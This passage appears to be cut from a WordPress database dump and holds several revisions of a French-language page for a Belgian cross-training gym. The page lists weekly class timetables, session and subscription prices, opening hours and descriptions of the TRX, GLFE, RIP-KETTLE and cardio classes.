5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:49:05', '2013-07-03 16:49:05', '', 11, 'http://www.crosstrainingcenter.be/?p=175', 0, 'revision', '', 0);
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(176, 1, '2013-07-03 16:49:22', '2013-07-03 16:49:22', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:49:22', '2013-07-03 16:49:22', '', 11, 'http://www.crosstrainingcenter.be/?p=176', 0, 'revision', '', 0),
(183, 1, '2013-07-03 17:18:16', '2013-07-03 17:18:16', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : 